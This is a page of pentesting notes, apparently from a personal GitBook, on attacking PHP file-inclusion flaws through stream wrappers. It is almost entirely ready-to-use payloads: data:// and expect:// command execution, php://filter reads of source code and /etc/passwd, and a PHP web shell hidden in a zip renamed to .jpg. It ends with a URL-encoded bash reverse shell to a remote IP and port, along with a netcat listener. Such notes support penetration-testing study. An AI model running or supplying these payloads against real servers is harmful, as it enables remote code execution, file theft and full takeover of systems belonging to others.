> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/exploitation-deprecated-node/data-wrappers.md).

# Data wrappers

**#POC**

```
http://192.168.177.10/menu.php?file=data:text/plain,hello world
```

**#If test is successful we can further push the vulnerability launching a php wrapped command**

```
http://10.10.10.10/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
#change syntax for Windows/'Nix targets
```

**#Rot13 - base64  wrappers**

```
http://target.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://target.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

Can be chained with a compression wrapper.
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd


```

**#ZIP LFI wrapper**

```
echo "<?php system($_GET['cmd']); ?>" > payload.php;  
zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
rm payload.php   

http://target.com/index.php?page=zip://shell.jpg%23payload.php
```

**#Expect wrapper**

```
http://target.com/index.php?page=php:expect://id
http://target.com/index.php?page=php:expect://ls

#experiment with other commands
```

**#Assorted commands**

```
#Windows
......file=data:text/plain,<?php echo shell_exec("dir") ?>

#Good technique whenever you have LFI/RCE and path traversal available in PHP enabled servers , Apache is a good example.

#Insert  
data://text/plain,<?php phpinfo(); ?>  
at the point of path traversal

EG:
http://10.11.1.35/section.php?page=data://text/plain,<?php phpinfo(); ?>


#Variants
......page=data:text/plain,<?php echo shell_exec("ls -la") ?>
......page=data:text/plain,<?php echo shell_exec("whoami") ?>
......page=data:text/plain,<?php echo shell_exec("uname -a") ?>
......page=data:text/plain,<?php echo shell_exec("which bash") ?>
......page=data:text/plain,<?php echo shell_exec("which python") ?>
......page=data:text/plain,<?php echo shell_exec("which curl") ?>

#Getting a shell
Insert a URL encoded bash reverse shell (............) 

10.11.1.35/section.php?page=data:text/plain,<?php echo shell_exec(".......................") ?>

#Bash revshell
bash -i >& /dev/tcp/192.168.119.177/1234 0>&1

#Encoded
bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.119.177%2F1234+0%3E%261

#Final
10.11.1.35/section.php?page=data:text/plain,<?php echo shell_exec("bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.119.177%2F1234+0%3E%261") ?>

Listener : nc -nvlp 1234

#Shell

```